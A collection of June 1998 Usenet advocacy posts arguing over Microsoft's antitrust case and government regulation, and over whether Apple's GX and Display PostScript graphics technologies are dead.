Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 12 Jun 1998 17:27:20 -0700
Organization: Utter dis
Message-ID: <3581C768.47A6@prodigy.net>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM> <35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net> <6lpvl2$26g6@yuma.ACNS.ColoState.EDU> <35809E8C.8E3F239A@nstar.net> <rmcassid-1206980004350001@dialin9229.slip.uci.edu> <358130D4.372EFBEB@nstar.net> <rmcassid-1206981443290001@dante.eng.uci.edu> <3581B5E4.27A5303B@nstar.net>
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Michael J. Peck wrote:
> The criminal justice system that absolves such citizens of the
> responsibility of their actions is at fault for creating this situation.
And this criminal justice system exists where?
> Under Common Law, drunkenness was no excuse for the slaughter of a
> neighbor's livestock.
Nor is it under statutory or case law in this country. In my state of
residence, it is specifically excluded from available defenses.
> Similarly, crack cocaine should be no excuse for
> any kind of illegal behavior.
And it is not. In fact, the involvement of crack cocaine tends to
enhance punishment, rather than excuse behavior.
Doug
From: "VHA PC Development" <codifex@airmail.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 12 Jun 1998 21:05:00 GMT
Organization: VHA Inc.
Message-ID: <01bd9646$a1100260$8383050a@bgravitt.CORP.VHA.COM>
References: <6j2m0f$m0c$3@ligarius.ultra.net> <6k6rm6$nkn$5@ligarius.ultra.net> <3578a103.7795788@news.supernews.com> <6kkgk9$2h7$2@gte1.gte.net> <6kl05l$k1$1@inconnu.isu.edu> <slrn6mtk1e.2rc.jedi@dementia.mishnet> <uWKsMaFl9GA.268@upnetnews02.moswest.msn.net> <01bd949c$de9bbf80$8383050a@bgravitt.CORP.VHA.COM> <6lrj05$hlm$16@gte1.gte.net>
Roger <roger@.> wrote in article <6lrj05$hlm$16@gte1.gte.net>...
> On 10 Jun 1998 18:17:17 GMT, someone claiming to be VHA PC Development
> wrote:
>
> >Tim Hawkins <TimHawkins@email.msn.com> wrote in article
> ><uWKsMaFl9GA.268@upnetnews02.moswest.msn.net>...
>
> >> jedi wrote in message ...
>
> >> >On 28 May 1998 18:40:21 -0600, Craig Kelley <ink@inconnu.isu.edu>
wrote:
>
> >> >>In article <6kkgk9$2h7$2@gte1.gte.net>, Roger <rfelts@.> wrote:
>
> >> But not nearly so flexible, the IE HTML rendering engine, not only
> >exposes
> >> the interfaces that allow instaniation of a rendering
> >> view inside your app, and external navigation controls so you can fill
it
>
> >Your use of the word flexible is curious. Flexible, in my book, means
that
> >it'll bend. i.e. It's not cast in stone and unchangeable by someone
other
> >than the one who created it. Try to use undocumented interfaces without
> >paying a toll to the Microsoft troll and you may be facing legal action;
> >curious when I hear that MS is using those same undocumented interfaces
> >freely in their own apps.
>
> And can you back up that using an undocumented interface with out
> payment to MS leads to legal action, and that MS apps freely use
> these?
>
The suit between Stac and Microsoft is a precedent setting event.
> >Somebody post an example.
>
> Someone posted two examples, hardly enough to call a trend.
>
If they do it at all then they do it. Right?
> >Also, IE's being
> >integrated as a *service* gives Microsoft nearly complete control over
the
> >casual user's internet experience effectively shutting out any
competition.
>
> Why? One can still use NS, Opera, Lynx, whatever.
>
If they have heard of them - the new user nowadays is part of a captive
audience though. Only when they have had a little experience do they see
what the real picture is. The point is that Netscape was highly visible
before Microsoft had their visibility nearly extiquished. If you don't
play ball with Microsoft you're gonna get squashed! That kind of power is
tyranny to me.
> > Yes, it may be easier for you as a developer (that's for you to decide)
> >but just remember, almost all your technology comes from one place -
> >Microsoft yet there is a whole world outside of Redmond, WA for LINUX to
> >benefit from.
>
> Yeah, and those pesky file dialogs all come from them too. But wait:
> a developer could write their own dialogs, if they wanted. So it's
> not the same thing.
>
Which puts you OUTSIDE of Redmond most likely.
> But wait: a developer could write their own code to render HTML in
> their app, if they wanted, too. Guess it is...
The point is NOT whether someone could write their own code - the
developers of LINUX did that; the point is that as developers get locked
into Microsoft solutions then their codebase is largely limited to
Microsoft and to a lesser extent, compatible operating systems.
>
> >Evidently, you wont be able to get very far developing applications from
> >now on (in Windows) without using Microsoft's proprietary development
> >environments or buying their software development kits now will you.
>
> Why do you think this?
Other vendors are being pushed out or backed into a corner. Take
Borland/Inprise for example; they used to be the major player in compilers
and development tools for DOS/Windows. After MFC was put forward as the
standard on Windows systems, the Object Windows Library was view as
incompatible by many developers. In reality, the OWL is mainly an
encapsulation of the foundation objects of Windows with the subclassing
being a snap. Delphi and C++Builder are worldclass tools that are
respected yet oftentimes avoided because of decisions by managers to remain
with Microsoft. Decisions made almost exclusively on the basis of
COMPATIBILITY which is a laugh.
Do you use any tools from other vendors? And if so, which and what
percentage of total?
>
> >It's not our operating system anymore...It's Microsoft's.
>
> Windows has * never * been our OS.
>
You got that right!
--
=======================================
codifex@airmail.NOSPAM.net
bgravitt@vha.NOSPAM.com
=======================================
My opinions are mine alone - though others may borrow...
From: pyeatt@satchmo.cs.colostate.edu ( Larry Pyeatt)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 12 Jun 1998 20:54:15 GMT
Organization: Colorado State University, Fort Collins, CO 80523
Message-ID: <6ls4hn$ga6@yuma.ACNS.ColoState.EDU>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu>
<6jk64c$vo9$1@strato.ultra.net>
<rmcassid-1805981307530001@dante.eng.uci.edu>
<tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net>
<35d0ab0c.360543981@news.supernews.com>
<6k6tda$omk$1@ligarius.ultra.net>
<357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net>
<6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net>
<3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM>
<35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net>
<6lpvl2$26g6@yuma.ACNS.ColoState.EDU> <35809E8C.8E3F239A@nstar.net>
<6lqjii$1dmi@yuma.ACNS.ColoState.EDU> <35812C92.20DA6D16@nstar.net>
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In article <35812C92.20DA6D16@nstar.net>,
"Michael J. Peck" <mjpeck@nstar.net> writes:
> Larry Pyeatt wrote:
>> fas.cism \'fash-.iz-*m, 'fas-.iz-\ \-*st\ \fa-'shis-tik also -'sis-\
>> \-ti-k(*-)le-\ n [It fascismo, fr. fascio bundle, fasces, group, fr. L
<snip>
>> Hmm, doesn't seem to fit me.
>> 1. Unlike some MS advocates, I prefer an open market where monololists have
>> to compete on the quality of their products to "forcible suppression
>> of opposition" (in the software market) by MS
>
> Microsoft does not engage in "forcible suppression of opposition". The
> US Government does:
>
> forcible \For"ci*ble\, a. [Cf. OF. forcible forcible, forceable
> that may be forced.]
> 1. Possessing force; characterized by force, efficiency, or
> energy; powerful; efficacious; impressive; influential.
You don't think MS uses its influence to suppress opposition?
What is force, anyway?
force \'fo-(*)rs, 'fo.(*)rs\ \-l*s\ n
n3: violence, compulsion, or constraint exerted upon or against
a person or thing
MS compells and constrains OEMs to sell ONLY MS operating systems.
This force, applied to OEMs has the effect of suppressing opposition.
vt 2: to compel by physical, moral, or intellectual means : COERCE
3: to make or cause through natural or logical necessity
4b: to impose or thrust urgently, importunately, or inexorably
COERCE suggests overcoming resistance or unwillingness by actual or
threatened violence or pressure;
MS monopoly in the OS arena allows them to COERCE the OEMs into
only supporting MS products, thereby suppressing the opposition.
>> 2. Unlike some MS advocates, I prefer freedom to choose instead of
>> "centralized autocratic government" (of the OS market) by MS.
>
> Microsoft is not a "centralized autocratic government". The US
> Government is, in fact, quite well served by that description:
Only if you don't understand the word autocrat.
> Autocratic \Au`to*crat"ic\, Autocratical \Au`to*crat"ic*al\, a.
> Of or pertaining to autocracy or to an autocrat; absolute;
> holding independent and arbitrary powers of government. --
> {Au`to*crat"ic*al*ly}, adv.
au.to.crat \'o.t-*-.krat\ n [F autocrate, fr. Gk autokrate-s ruling by
oneself, absolute, fr]. aut- + -krate-s ruling - more at -CRAT : a monarch
or other person ruling with unlimited authority
The US government is a representative democracy with three branches:
Legislative, executive, and judicial. It is not a monarchy, and there
is no one person ruling with unlimited authority. Therefore, the US
government is not an autocracy.
MS is ruled by Bill Gates, who has (almost) unlimited authority over
the company. MS could be described as an autocracy if companies can
be said to have government.
> Government \Gov"ern*ment\, n. [F. gouvernement. See {Govern}.]
> 1. The act of governing; the exercise of authority; the
> administration of laws; control; direction; regulation;
> as, civil, church, or family government.
If a family can be have government, then why not a company?
>> 3. Unlike some MS advocates, I prefer several strong companies in
>> the software market rather than the "dictatorial leader" that
>> MS wants to be.
>
> Microsoft is not a "dictatorial leader". Janet Reno, however, is:
>
> dictator \Dic*ta"tor\, n. [L.]
> 1. One who dictates; one who prescribes rules and maxims
> authoritatively for the direction of others. --Locke.
She does that yes.
So does Microsoft.
> 2. One invested with absolute authority; especially, a
> magistrate created in times of exigence and distress, and
> invested with unlimited power.
She hardly has "unlimited power." If she steps out of line, she could
be fired by the president.
No one can fire MS.
>> 4. Unlike some MS advocates, I prefer a free market where the company with
>> the best product can make prosper, rather than the "severe economic and
>> social regimentation" that MS wants to impose on the market.
>
> "Social regimentation"? You're joking:
Maybe a little.
> social
> adj 1: relating to human society and its members; "social
> institutions"; "societal evolution"; "societal
> forces"; "social legislation" [syn: {societal}]
>
> regimentation
> n : the imposition of order or discipline
Yes. MS tell OEMs who they can socialize with. They are not allowed
to socialize with vendors of competing operating systems. If they do,
MS can discipline them by refusing to give them a license. No company
is going to risk the 95% market share for MS products just to tap the
extra 5% market in other operating systems.
>> In my field, yes, I am an expert due to training and experience.
> None of which establishes the credibility of any single person to
> predict, control, and whimsically direct the entire course of the
> computing industry, as the DoJ does.
1) The DOJ is not a single person.
2) The DOJ does not do ANYTHING whimsically.
--
Larry D. Pyeatt All standard disclaimers apply.
pyeatt@cs.colostate.edu Void where prohibited.
http://www.cs.colostate.edu/~pyeatt
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: Fri, 12 Jun 1998 17:34:04 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-1206981734110001@cc497300-a.wlgrv1.pa.home.com>
References: <slrn6o0dah.kcg.sal@panix3.panix.com> <B1A69871-22F35@206.165.43.126> <slrn6o2ru5.sd3.sal@panix3.panix.com>
In article <slrn6o2ru5.sd3.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
:If you talk about GX for another year, GX will still be dead. If you go
:on for five years, GX will still be dead. If your dieing words are "GX"
:GX will still be dead.
:
:Some of GX is being moved into Rhapsody/MacOSX; but, as a distict API
:set, GX is dead. It is deader than disco, since disco has made a come
:back in recent years.
Ah, the irony of it all. You're forgetting that Lawson can quite
readily say the same thing about DPS. DPS is also dead, dead, *dead*.
Actually, deader than GX, because at least *some* of GX is making it into
Mac OS X, and GX will still be available in the BlueBox. Apple can't use a
single scrap of DPS nor bundle DPS with Mac OS X.
All of those 'Why change it, it just works (tm)' arguments, those
*countless* network computer threads revolving around NSHosting, those
'true' WYSIWYG threads, are worth about as much as the various pro-GX
arguments.
What's funny is that Apple reps, are now saying the same things us GX
advocates were saying during those early DPS vs. GX flame wars
Namely:
"The common set of graphics services for Yellow [Box] and Carbon we are
creating is a local, rather than a client/server, graphics system,"
Danbold said. "It's much smaller, it uses less RAM and it'll offer better
performance."
And also:
Danbold said one of the reasons for not choosing Display PostScript was
the issue of control. "It's not easy to have another company's technology
at the heart of the OS. It's essential for Apple to have control over the
foundation technologies of the OS."
Man, I've got some *serious* deja vu happening from that second
clipping. How many times did us GX advocates bring that issue up over the
last year and a half? Too bad the Next Apple didn't listen to some of the
Old Apple's engineers and managers, which were telling them the same
thing.
-Eric
From: pyeatt@satchmo.cs.colostate.edu ( Larry Pyeatt)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 12 Jun 1998 21:10:14 GMT
Organization: Colorado State University, Fort Collins, CO 80523
Message-ID: <6ls5fm$ga6@yuma.ACNS.ColoState.EDU>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu>
<6jk64c$vo9$1@strato.ultra.net>
<rmcassid-1805981307530001@dante.eng.uci.edu>
<tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net>
<35d0ab0c.360543981@news.supernews.com>
<6k6tda$omk$1@ligarius.ultra.net>
<357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net>
<6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net>
<3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM>
<35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net>
<6lpvl2$26g6@yuma.ACNS.ColoState.EDU> <35809E8C.8E3F239A@nstar.net>
<rmcassid-1206980004350001@dialin9229.slip.uci.edu>
<358130D4.372EFBEB@nstar.net>
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In article <358130D4.372EFBEB@nstar.net>,
"Michael J. Peck" <mjpeck@nstar.net> writes:
> Robert Cassidy wrote:
>
>
>> So there should be no consumer protection then? For that only undermines
>> the free will of the consumer.
>
> That is does. The phrase "consumer protection" is blatantly misleading.
> I could "protect consumers" without involving myself in unConstitutional
> legislation.
1. To what unconstitutional legislation are you referring?
2. How would you do it?
>> So no need for prescriptions for drugs,
>
> There may, indeed, be a need for drug prescriptions. This says nothing
> about the right of the government to force their use.
What about the drug companies rights to force their use. Drug companies
could make deals with food companies to include their drugs in food
products. Does the government have a right to stop that from happening?
>> licenses for handguns or automobiles, and three cheers for the
>> introduction of General Mills Crack Cocaine for the government is
>> preventing me from spending my own money as I choose.
>
> Quite right. Will you be here in a hundred years to walk in protest
> rallies during the Fight to Ban Natural Fat? Consumers don't realize
> what they're getting into, by God! People are too stupid to switch to
> Olestra, we've got to make certain fundamental things mandatory. We're
> not being invasive, we just need to make a few basic rules.
Yes, that's exactly what big business wants. Does the government have the
right to prevent it?
>> It's a nasty problem - the people are happy with the status quo, but the
>> theory says that they _could_ (and in fact should) be happier with a
>> change.
>
> That's quite true, and it's the entire basis of economy: someone who
> provides the beneficial change may profit from it by selling its fruits.
The system DOES work like that, as long as monopolies are not allowed
to kill the small company who provides the beneficial change.
>> It seems like yet another instance of the scientists presenting a case
>> that the public rejects out of hand since it deals with long-term goals at
>> the expense of short-term costs. Anti-trust is little more than economic
>> stimulation - but in a focused market.
>
> Actually, according the various theories of Economic Calculation, it can
> be proven incontrovertibly that anti-trust regulation has a direct
> depressive effect on the economy.
So, where do I go for that proof? I assume that you can't provide it, so
just tell me where to look. (Yeah, and "trickle down economics" really works!")
> Whoa, whoa, take it slow. "Well-presented arguments" is the first part I
> take offense at: they're not my arguments, and whatever the
> presentation, it has nothing to do with the point being communicated.
> "Mud-slinging", wow: fascism isn't an insult, it's a political model
> that I assigned to Mr. Pyeatt's thought.
Yes, quite wrongly I might add. Actually, I would have considered it an
insult, if it weren't so ridiculous. I am sure you meant it as an insult.
Quit trying to deny it.
You said "Not often are fascists so honest." I have had enough insults
hurled my way to know one when I see it.
> Don't get mixed up.
He doesn't seem mixed up to me.
--
Larry D. Pyeatt All standard disclaimers apply.
pyeatt@cs.colostate.edu Void where prohibited.
http://www.cs.colostate.edu/~pyeatt
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 12 Jun 1998 14:43:29 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1206981443290001@dante.eng.uci.edu>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM> <35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net> <6lpvl2$26g6@yuma.ACNS.ColoState.EDU> <35809E8C.8E3F239A@nstar.net> <rmcassid-1206980004350001@dialin9229.slip.uci.edu> <358130D4.372EFBEB@nstar.net>
In article <358130D4.372EFBEB@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
>Robert Cassidy wrote:
>
>
>> So there should be no consumer protection then? For that only undermines
>> the free will of the consumer.
>
>That is does. The phrase "consumer protection" is blatantly misleading.
>I could "protect consumers" without involving myself in unConstitutional
>legislation.
Which elements are unconstitutional? And don't overlook the amendment
process and the rights of the states to have their own constitutional
restrictions.
>> So no need for prescriptions for drugs,
>
>There may, indeed, be a need for drug prescriptions. This says nothing
>about the right of the government to force their use.
How then would the public be granted a reasonable assurance that citizens
will not freely divorce themselves from the fabric of public
responsibility? Prescriptions are also designed not only to protect the
holder of the prescription, but also to protect the public from
individuals that might use those medications to put themselves in a state
where they are not responsible for their actions. We tolerate it to some
degree (alcohol) but as the complexity of the drug increases, the need for
experts to manage their use becomes necessary. And that management *is*
necessary for there are medications that have psychosis or homicidal
tendencies as side-effects. Not all drugs are Viagra after all...
>> licenses for handguns or automobiles, and three cheers for the
>> introduction of General Mills Crack Cocaine for the government is
>> preventing me from spending my own money as I choose.
>
>Quite right. Will you be here in a hundred years to walk in protest
>rallies during the Fight to Ban Natural Fat? Consumers don't realize
>what they're getting into, by God! People are too stupid to switch to
>Olestra, we've got to make certain fundamental things mandatory. We're
>not being invasive, we just need to make a few basic rules.
A little dose of hyperbole makes the medicine go down? The government has
taken no actions to ban alcohol, or tobacco, or anything else. Restrict it
so that the rights of *every* individual and taxpayer are balanced - sure.
So it's better to let everyone have a handgun and then arrest the people
that use it to commit a murder? Isn't that a little discriminatory to the
rights of the person that just got shot? The enforcement of the law is
only a reassurance to those that continue to live. And that leaves no
barrier to that individual buying a handgun again. So it protects the
rights of those that would be criminals over that of the public, in
effect.
>> Thank God I'll
>> finally be able to put that physics degree to work and build my very own
>> nuclear device. God bless America.
>
>Heh, if you can get your hands on well-machined beryllium steel, a
>deuterium trigger, and a goodly supply of the heavy water itself, then
>yeah. Knock yourself out.
Splendid. A few years coding for MS and I should have the stock options to
do some shopping in the Ukraine.
>Maybe you can do as Oliver Wendell Jones did, and just scrape the
>glow-in-the-dark material off of the hands of a thousand cereal-box
>watches...
Ha! I forgot about that!
>The government did make that decision. It wasn't until the mid 1930's,
>though, that the most dramatic action was taken on behalf of socializing
>what were previously matters of private consumption.
I'll agree that a good deal of the legislation through the 30s should have
been temporary, and is very much misplaced today. But some of it was
specifically designed to have a stabilizing effect on the national economy
and continues to perform that function today.
>> It's a nasty problem - the people are happy with the status quo, but the
>> theory says that they _could_ (and in fact should) be happier with a
>> change.
>
>That's quite true, and it's the entire basis of economy: someone who
>provides the beneficial change may profit from it by selling its fruits.
But the theory in this country is that competition can become so stifled
due to either the practices of one company, or by collusion between
multiple companies (price fixing) that government intervention is
desirable to return to a state where some measure of change is more
likely. That at some point, you can nearly 'win' or appear to win the
game, and so the state must be adjusted to seem as though there is
reasonable chance for reward to justify the risk of entering the market.
>> Yet the people revolt because they don't want the government to
>> interfere and probably stimulate the market in much the same way as they
>> do with a gazillion other things that they wouldn't dream of giving up -
>> like controls from the federal reserve.
>
>Or SEC controls on the stock market? Or AFDC-style welfare? That people
>have become dependent on government is not surprising. You'd ban crack
>cocaine, but not a far more debilitating drug...
I'm not saying that they do it well all the time. I'd love to see many of
the _implementations_ that we have change - but the _concepts_ are
generally sound. They are all stabilizing efforts. Welfare is designed to
help keep people from getting is such a state that risk/reward reaches an
extreme - that people find they need to go to extreme lengths just to feed
their children. Unfortunately, the implementation we have sucks, since it
upsets the risk/reward equation too much - there is a *lot* of risk for an
individual involved in leaving the welfare system and little chance for
any reward.
By keeping anti-trust fairly fuzzy, it has helped keep it in check. It
offers few promises to corporations one way or the other - so they need to
step carefully.
>> It seems like yet another instance of the scientists presenting a case
>> that the public rejects out of hand since it deals with long-term goals at
>> the expense of short-term costs. Anti-trust is little more than economic
>> stimulation - but in a focused market.
>
>Actually, according the various theories of Economic Calculation, it can
>be proven incontrovertibly that anti-trust regulation has a direct
>depressive effect on the economy.
Does that also account for instabilities due to monopolies and national
securities in a global economy? We seem to balance anti-trust needs
against the needs of the nation as a whole in terms of it's ability to be
resiliant and it's need to protect its interests internationally.
>> The fact that a single company has
>> to lose some ground, in spite of the tremendous gains to get it this sort
>> of attention seems to be the only element that people find distasteful.
>
>What "tremendous" gains? That's pure baloney.
Generally, corporations that find themselves in this sort of trouble are
exceedingly large or wealthy by comparison. Microsoft is exceedingly
wealthy today. IBM was exceedingly large in it's day. Standard Oil was
both. AT&T was exceedingly large as well. They all gained considerably by
their position and tend to have the money to prove it and to weather the
possibility of change. Sanctions against them are hardly crippling. That
isn't to say that we should go out and level the playing field in some
kind of McGovernesque corporate experiment. But the anti-trust issue comes
down to a 'needs of the many outweigh the needs of the one' kind of social
contract at least to some degree.
>Thank God, and with any luck, Microsoft will win this case and put
>another nail in the coffin of Anti-Trust activism.
I disagree. Although I'm of the opinion that the Intel case is more
questionable than the MS one. I'm not sure that any action need take place
there in an anti-trust sense. I'm not sure _what_ fate should befall MS,
however. The biggest argument against anti-trust in my opinion is that
whatever sentence the courts pass down is hardly closely correlated to the
actions that brought the whole situation about.
>> I agree with the 'bad laws weaken good laws' arguments, but a country
>> without anti-trust would be so fragile and oscillate so wildly that I
>> don't think many of us would enjoy it much.
>
>This is just untrue, Bob. I'm surprised that someone like you would make
>such a sweeping claim based on legislation that's existed for less than
>one hundred years. I know you know history better than that.
Well, alright. It's really too hard to say. Standard Oil was really the
first super-corporation that has become so common today. It was the only
case where such a large corporation was allowed to have its way in the
marketplace. And the market dynamics since transitioning from a largely
agricultural nation to a largely industrial one have never really been
tested without anti-trust legislation on the books. I'll admit that my
preference that *all* legislation be temporary and subject to regular
review would be far more valuable in this case - we could have at least
tested out variations on the anti-trust legislation over all this time.
>> Too bad you can't depend on what are normally well presented
>> arguments without succumbing to mud-slinging to appease your insecurities.
>
>Whoa, whoa, take it slow. "Well-presented arguments" is the first part I
>take offense at: they're not my arguments, and whatever the
>presentation, it has nothing to do with the point being communicated.
Of course they are arguments. You are taking a position here that you know
is contentious, no? Given the forum, you should expect positions like that
to be taken as argumentative. Regardless of whether it is _your_ argument
or not, you are taking a certain responsibility for it's defense by
presenting it against the claims made by the previous poster. You can also
excuse yourself from that defense if you choose - but let us know along
the way.
>"Mud-slinging", wow: fascism isn't an insult, it's a political model
>that I assigned to Mr. Pyeatt's thought. Don't get mixed up.
Fascist is a very loaded term unless you are pre-WWII and didn't at all
seem befitting of his position.
>Finally, "insecurities": that's mudslinging. Now you're getting the idea.
Fair play perhaps?
-Bob Cassidy
From: Stephen Peters <portnoy@ai.mit.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 12 Jun 1998 10:53:31 -0400
Organization: Massachvsetts Institvte of Technology
Sender: portnoy@ANTI-MATTER
Message-ID: <u7m2mllhw.fsf@ai.mit.edu>
References: <B1A31F69-125386@206.165.43.79> <B1A32350-133E43@206.165.43.79> <slrn6nrmih.526.jason@jhste1.dyn.ml.org> <6llf9k$m9t$3@ironhorse.plsys.co.uk> <slrn6nt9ob.8da.jason@jhste1.dyn.ml.org> <uwwapf7fh.fsf@ai.mit.edu> <slrn6ntq6h.148.jason@jhste1.dyn.ml.org> <uwwao3qp8.fsf@ai.mit.edu> <slrn6o0vlf.2t2.jason@jhste1.dyn.ml.org>
jason@jhste1.dyn.ml.org (Jason S.) writes:
> Stephen Peters posted the following to comp.sys.mac.advocacy:
> >But you admitted yourself that you skipped over most of the Lawson
> >threads until recently. I'd say that you're new to the Lawson-c.s.n.a
> >dynamic, and I'm sorry if I didn't clarify that.
>
> Why do you think that I have skipping over most of it for the last
> 18 months?
June 10, 1998, <slrn6nt9uj.8da.jason@jhste1.dyn.ml.org>:
| I've experienced pretty much every crosspost from csna to csma since
| the NeXT buyout. I have had a tendency to skip over the Lawson
| threads, though.
My, what a fool I was to translate that into your skipping over most
of the Lawson threads for the last 18 months.
--
Stephen L. Peters portnoy@ai.mit.edu
PGP fingerprint: BFA4 D0CF 8925 08AE 0CA5 CCDD 343D 6AC6
"Poodle: The other white meat." -- Sherman, Sherman's Lagoon
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 12 Jun 1998 17:12:05 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6lrnh5$fjd$1@ns3.vrx.net>
References: <slrn6o0dah.kcg.sal@panix3.panix.com> <B1A69871-22F35@206.165.43.126>
<slrn6o2ru5.sd3.sal@panix3.panix.com> <rex-1206981734110001@cc497300-a.wlgrv1.pa.home.com>
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Cc: rex@smallandmighty.com
In <rex-1206981734110001@cc497300-a.wlgrv1.pa.home.com> Eric King claimed:
> Ah, the irony of it all. You're forgetting that Lawson can quite
> readily say the same thing about DPS. DPS is also dead, dead, *dead*.
> Actually, deader than GX, because at least *some* of GX is making it into
> Mac OS X
*coff* And DPS isn't? Let's see, we're getting the DPS imaging model, the
DPS command structure, it's retained mode nature, paths, cubic Beziers, and
PDF. All we're not getting is the interpreter, instead commands will be
executed in place - bonus is speed, drawback is NXhosting.
> "The common set of graphics services for Yellow [Box] and Carbon we are
> creating is a local, rather than a client/server, graphics system,"
> Danbold said. "It's much smaller, it uses less RAM and it'll offer better
> performance."
Actually I don't remember any of those arguments being used for GX over
DPS. Specifically DPS seemed to be faster and smaller IIRC.
> Man, I've got some *serious* deja vu happening from that second
> clipping. How many times did us GX advocates bring that issue up over the
> last year and a half?
Hmmm. Not once?
Maury
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Fri, 12 Jun 1998 21:52:21 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3581A315.14997219@nstar.net>
References: <tbrown-1206980253330001@mv128.axom.com> <B1A69F6D-3D38C@206.165.43.126> <rmcassid-1206981322550001@dante.eng.uci.edu>
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NNTP-Posting-Date: 12 Jun 1998 21:57:21 GMT
Robert Cassidy wrote:
> Too late. It's dead. Let's move on.
>
> GX today is like finding an old childhood toy that you thought was lost.
> You felt sad the whole time is was gone, as if you had missed out on
> something, but upon finding it realize that it is a stupid, uninteresting
> toy by today's standards and you immediate throw it in the trash. The
> feeling of sadness fades quickly.
What a fluid position. DPS is much older than GX, and it, too, is dead.
But the newest toy is QDe. Everyone's playing with that new toy. Be the
first on your block...
MJP
From: Eric Hermanson <eric@alum.mit.edu>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Reverse Technology
Date: Fri, 12 Jun 1998 17:00:40 -0700
Organization: Digital Universe Corporation
Message-ID: <3581C128.BE96F21@alum.mit.edu>
References: <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <6lji4s$pns$1@new-news.cc.brandeis.edu> <rmcassid-0906981239540001@dante.eng.uci.edu> <slrn6nrbv9.1po.sal@panix3.panix.com> <357DB62A.6D843E17@alum.mit.edu> <ldo-1106981751380001@a7.hn3.wave.co.nz> <357FA2ED.FC1EF0C9@alum.mit.edu> <SCOTT.98Jun11091928@slave.doubleu.com> <6lpm6j$2f1$1@news.xmission.com> <35806EA4.100A9B0E@alum.mit.edu> <SCOTT.98Jun11182754@slave.doubleu.com> <6lq9lf$m6c$1@news.xmission.com> <slrn6o2u0t.nm5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
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NNTP-Posting-Date: 13 Jun 1998 00:00:42 GMT
Matt Kennel wrote:
